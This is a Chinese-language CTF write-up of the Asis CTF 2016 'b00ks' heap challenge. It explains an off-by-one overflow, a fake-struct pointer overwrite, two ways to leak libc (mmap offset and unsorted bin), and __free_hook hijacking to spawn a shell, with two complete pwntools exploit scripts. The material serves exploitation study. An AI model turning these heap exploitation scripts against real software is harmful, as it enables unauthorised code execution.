【Asis CTF 2016】b00ks
收获
利用 off-by-one 漏洞修改指向堆的指针,并在修改后的指针指向的堆地址处伪造一个堆块
利用
mmap分配的内存与 libc 之前存在固定的偏移的特点,推算出 libc 的基地址由于
unsorted bin是双向链表,利用第一个unsorted bin的bk指针指向 libc 中的地址的特点,根据偏移得到__malloc_hook真实地址,进而通过__malloc_hook的 libc 偏移计算 libc 基地址通过劫持
__free_hook为system()或 one_gadget 来获得 shell
思路一(mmap)
本地环境:Glibc 2.23
查看保护:
IDA 下分析:
一个菜单题,根据功能选项,将相应功能的函数重命名
Menu() 菜单:
Create() 创建:
Delete() 删除:
Edit() 编辑:
Print() 打印:
Change() 修改作者名:
程序在刚开始执行 Menu() 显示菜单之前,会在 Change() 中先让输入作者名 author name:
这里的输入由自定义的 my_read() 实现:
仔细观察 my_read() 可以发现,这里是存在漏洞的:如果我们输入的字符串长度 a2 = 1,实际上会读入 2 个字符,第二个字符 '\n' 会被赋值为 '\x00'
作者名 author name 写入的地址位于 BSS 段的 unk_202040:
在 Create() 中创建书时,如果已存在的书的数量 v2 < 20(未存满),会通过 malloc 分配 0x20 的空间来存放书的结构
并将 malloc 分配的空间首地址存储在 off_202010 + v2 的地方,可以看到其存放在 BSS 段的 unk_202060 处:
分析可知,书的结构包括:
- 书的序号
book_id - 书名
name - 书的描述
description - 书的描述的大小
size
为了方便理解,用图表示出来就是这样:
上图中,橙色区域存储作者名 author name,绿色区域存储的是书的数组 book[]
有多少本书就有多少个
book[]数组元素,book[]的每一个数组元素都是一个指针,指向堆中的一个结构体这个结构体有四个属性:书的序号
book_id、书名name、书的描述description和书的描述的大小size
由于这里 unk_202040 和 unk_202060 刚好相距 0x20,因此 my_read(off_202018, 32LL) 处存在 off-by-one 漏洞,刚好溢出 1 字节
为了泄露出堆中的地址,可以借助存储在 unk_202060 中的指针,而在 Print() 中会将 unk_202040 处存储的 author name 通过 %s 打印出来:
因此,我们首先向 unk_202040 写入 0x20 个字节,将空间全部填满,这样就不存在 '\x00' 截断,由于 my_read() 还会多写入 1 字节 '\x00' 覆盖 book[0] 的最低位,但是不影响,因为当我们创建 book[0] 的时候多出的那 1 字节 '\x00' 又会被 book[0] 存储的指针给覆盖掉
当我们创建好 book[0] 后,此时 unk_202040 与 book[0] 是直接相连的,中间不存在 '\x00' 截断,因此我们只需要调用一次 Print() 就可以泄露出 book[0] 存储的指针
创建两本书进行测试,发现两个 book[] 存储的指针之间的偏移是 0x30:
堆中的存储结构如下:
因此根据 book[0] 存储的指针我们可以推算出 book[1] 存储的指针,即:book[1] = book[0] + 0x30
由于这个题开启了 PIE,我们暂时无法泄露 libc 的基地址
但发现 Create() 创建书的时候,大小是由我们控制的:
因此我们可以让堆以 mmap 模式进行拓展,即:设定一个很大的尺寸(大于等于 128KB),创建一个 book[1]
因为
brk是直接拓展原来的堆,而mmap会单独映射一块内存
mmap分配的内存与 libc 之前存在固定的偏移,因此可以推算出 libc 的基地址
由于我们还可以再次使用 Change() 功能来写入作者名 author name,此时如果写入 0x20 字节,则溢出的一字节 '\x00' 会直接将已有的 book[0] 存储的指针最低位覆盖掉,从而改变了 book[0] 指向堆中的地址
可以看到,原本 book[0] 存储的指针最低位为 '\x60',此时已被覆盖为 '\x00'
进而我们可以通过 Edit() 功能修改 book[0] -> description 的内容来伪造 book[0] 的结构体,此时伪造的 book[0] -> name 和 book[0] -> description 都可以由我们来定义
注意:
由于我们覆盖了原本
book[0]存储的指针最低位为'\x00',因此伪造的book[0]结构体首地址应该在地址最低位为'\x00'的地方,偏移为 0x40,因此先填充 0x40 的垃圾数据
伪造前:
伪造后:
这里我们将伪造的 book[0] -> name 和 book[0] -> description 都设置为 book[1] 的 book[1] -> name 的地址
因为此时我们只要能泄露 book[1] -> name 就可以通过 book[1] -> name 与 libc 基地址的偏移来计算出 libc 基地址了
通过 GDB 得到 book[1] -> name 与 libc 基地址的偏移为 0x5b0010:
利用 (book[1] -> name) - 0x5b0010 泄露出 libc 基地址后,直接劫持 __free_hook 为 system() 地址,然后通过 Delete() 功能调用 free() 实现 system(/bin/sh)
也可以直接劫持 __free_hook 为 one_gadget 来 getshell
脚本一
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
elf = ELF("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./b00ks")
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
def Create(name_size, name, des_size, des):
io.recvuntil("> ")
io.sendline("1")
io.recvuntil(": ")
io.sendline(str(name_size))
io.recvuntil(": ")
io.sendline(name)
io.recvuntil(": ")
io.sendline(str(des_size))
io.recvuntil(": ")
io.sendline(des)
def Delete(book_id):
io.recvuntil("> ")
io.sendline("2")
io.recvuntil(": ")
io.sendline(str(book_id))
def Edit(book_id, new_des):
io.recvuntil("> ")
io.sendline("3")
io.recvuntil(": ")
io.sendline(str(book_id))
io.recvuntil(": ")
io.sendline(new_des)
def Print():
io.recvuntil("> ")
io.sendline("4")
def Change(name):
io.recvuntil("> ")
io.sendline("5")
io.recvuntil(": ")
io.sendline(name)
io.recvuntil(b'Enter author name: ')
payload = b'a' * 0x20
io.sendline(payload) # 将 author name 的空间填充满,使其不存在 '\x00'
Create(0x90, b'bbbb', 0x90, b'cccc')
Print()
io.recvuntil(b'a' * 0x20)
book1_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.success('book1_addr -> ' + hex(book1_addr))
book2_addr = book1_addr + 0x30 # 根据调试可知,两个堆块之间的偏移为 0x30
log.success('book2_addr -> ' + hex(book2_addr))
Create(0x21000, b'cccc', 0x21000, b'dddd') # 以 mmap 方式创建堆块
payload = b'a' * 0x40 + p64(1) + p64(book2_addr + 8) + p64(book2_addr + 8) + p64(0x1000)
Edit(1, payload) # 伪造 book[0]
# debug()
Change(b'a' * 0x20) # 覆盖 book[0] 的最低位,改变其指向的地址为伪造的 book[0]
Print()
io.recvuntil('Name: ')
book2_name_addr = u64(io.recv(6).ljust(8, b'\x00')) # 泄露出 book[1] -> name
log.success('book2_name_addr -> ' + hex(book2_name_addr))
libc_base = book2_name_addr - 0x5b0010 # 根据偏移计算 libc 基地址
log.success('libc_base -> ' + hex(libc_base))
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
one_gadget_addr = libc_base + 0x4527a # 0x45226 0x4527a 0xf03a4 0xf1247
log.success('free_hook_addr -> ' + hex(free_hook_addr))
log.success('system_addr -> ' + hex(system_addr))
log.success('bin_sh_addr -> ' + hex(bin_sh_addr))
log.success('one_gadget_addr -> ' + hex(one_gadget_addr))
# system(/bin/sh) 和 one_gadget 选其一即可
Edit(1, p64(bin_sh_addr) + p64(free_hook_addr))
Edit(2, p64(system_addr))
# Edit(1, p64(0) + p64(free_hook_addr))
# Edit(2, p64(one_gadget_addr))
Delete(2)
io.interactive()结果一
思路二(unsorted bin)
本地环境:Glibc 2.23
根据前面的分析我们知道,关键在于如何泄露 libc 的基地址
在思路一中,通过 mmap 方式分配的堆地址与 libc 基地址存在固定的偏移,根据这个固定偏移来计算 libc 基地址
另一种方法就是利用 unsorted bin 的特点来泄露 libc 基地址
因为
unsorted bin是双向链表,所以第一个unsorted bin的bk也就指向了bin[1]如果我们能够打印出第一个
unsorted bin的bk,也就相当于得到了bins[1]地址,而bins[1]在 libc 中,也就可以根据偏移计算 libc 基地址
而关键在于:得到一个 unsorted bin
我们知道,当 free 的 chunk 大小 >= 144 字节时,chunk 会放到 unsorted bin 中
因此,我们需要先创建第二本书,使其 chunk 的大小在 free 的时候大于 144 字节,这本书在后面是需要被 free 形成 unsorted bin 的,所以我们再创建第三本书,写入 '/bin/sh'
创建三本书后如下:
接着还是通过 Edit() 功能伪造一个 book[0]
这次伪造的
book[0] -> name指向即将free后形成的unsorted bin的bk地址(注意:图中和脚本中实际指向的是fd地址,但由于这里只存在一个 unsorted bin,因此fd与bk指向同一地址,故不影响)为了便于劫持
__free_hook为system(),我们将伪造的book[0] -> description指向book[2]的description这样我们通过
Edit(1, p64(free_hook_addr) + p64(0x10))修改book[0]的description的时候,就可以将book[2] -> description修改为__free_hook然后再通过
Edit(3, p64(system_addr))修改book[2]的description的时候,就可以将__free_hook修改为system()
伪造好 book[0] 后,通过 Change() 功能填充 0x20 字节,溢出 1 字节 '\x00' 覆盖 book[0] 指针的最低位,使其指向我们伪造的 book[0]
然后 free 掉 book[1] 后形成 unsorted bin:
可以看到 bk 和 fd 指向的是同一个地址,打印其中之一即可
通过 Print() 功能在 Name 处打印出了 fd、bk 指针
通过 GDB 可以看到 fd、bk 指针指向的地址为 main_arena + 88 处
同时 main_arena 与 __malloc_hook 相距 0x10
因此根据偏移可以获得 __malloc_hook 的真实地址,而 __malloc_hook 是 libc 中的函数,根据 libc 偏移即可获得 libc 基地址
最后,利用前面提到的两次 Edit() 劫持 __free_hook 为 system()
- 第一次
Edit()将book[2] -> description修改为__free_hook:
- 第二次
Edit()将__free_hook修改为system():
然后通过 Delete() 调用 free 执行 system(/bin/sh)
脚本二
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
elf = ELF("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./b00ks")
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
def Create(name_size, name, des_size, des):
io.recvuntil("> ")
io.sendline("1")
io.recvuntil(": ")
io.sendline(str(name_size))
io.recvuntil(": ")
io.sendline(name)
io.recvuntil(": ")
io.sendline(str(des_size))
io.recvuntil(": ")
io.sendline(des)
def Delete(book_id):
io.recvuntil("> ")
io.sendline("2")
io.recvuntil(": ")
io.sendline(str(book_id))
def Edit(book_id, new_des):
io.recvuntil("> ")
io.sendline("3")
io.recvuntil(": ")
io.sendline(str(book_id))
io.recvuntil(": ")
io.sendline(new_des)
def Print():
io.recvuntil("> ")
io.sendline("4")
def Change(name):
io.recvuntil("> ")
io.sendline("5")
io.recvuntil(": ")
io.sendline(name)
io.recvuntil(b'Enter author name: ')
payload = b'a' * 0x20
io.sendline(payload)
Create(0x90, b'bbbb', 0x90, b'cccc')
Print()
io.recvuntil(b'a' * 0x20)
book1_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.success('book1_addr -> ' + hex(book1_addr))
book2_addr = book1_addr + 0x30
log.success('book2_addr -> ' + hex(book2_addr))
Create(0x80, b'cccc', 0x20, b'dddd') # 为 unsorted bin 做准备
Create(0x20, b'/bin/sh\x00', 0x20, b'ffff') # 存放 '/bin/sh'
payload = b'a' * 0x40 + p64(1) + p64(book2_addr) + p64(book2_addr + 0x160) + p64(0x20)
Edit(1, payload) # 伪造 book[0]
Change(b'a' * 0x20) # 覆盖 book[0] 的最低位,改变其指向的地址为伪造的 book[0]
Delete(2) # 形成 unsorted bin
Print() # 泄露 unsorted bin 的 bk 指针
io.recvuntil('Name: ')
main_arena_88 = u64(io.recv(6).ljust(8, b'\x00'))
main_arena_addr = main_arena_88 - 88
malloc_hook_addr = main_arena_addr - 0x10 # 根据偏移得到 __malloc_hook 真实地址
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook'] # 得到 libc 基地址
log.success('main_arena_88 -> ' + hex(main_arena_88))
log.success('main_arena_addr -> ' + hex(main_arena_addr))
log.success('malloc_hook_addr -> ' + hex(malloc_hook_addr))
log.success('libc_base -> ' + hex(libc_base))
free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
one_gadget_addr = libc_base + 0x4527a # 0x45226 0x4527a 0xf03a4 0xf1247
log.success('free_hook_addr -> ' + hex(free_hook_addr))
log.success('system_addr -> ' + hex(system_addr))
log.success('bin_sh_addr -> ' + hex(bin_sh_addr))
log.success('one_gadget_addr -> ' + hex(one_gadget_addr))
Edit(1, p64(free_hook_addr) + p64(0x10)) # 将 book3 -> description 修改为 __free_hook
Edit(3, p64(system_addr)) # 将 __free_hook 修改为 system()
# Edit(3, p64(one_gadget_addr)) # system(/bin/sh) 与 one_gadget 选其一即可
Delete(3)
io.interactive()















































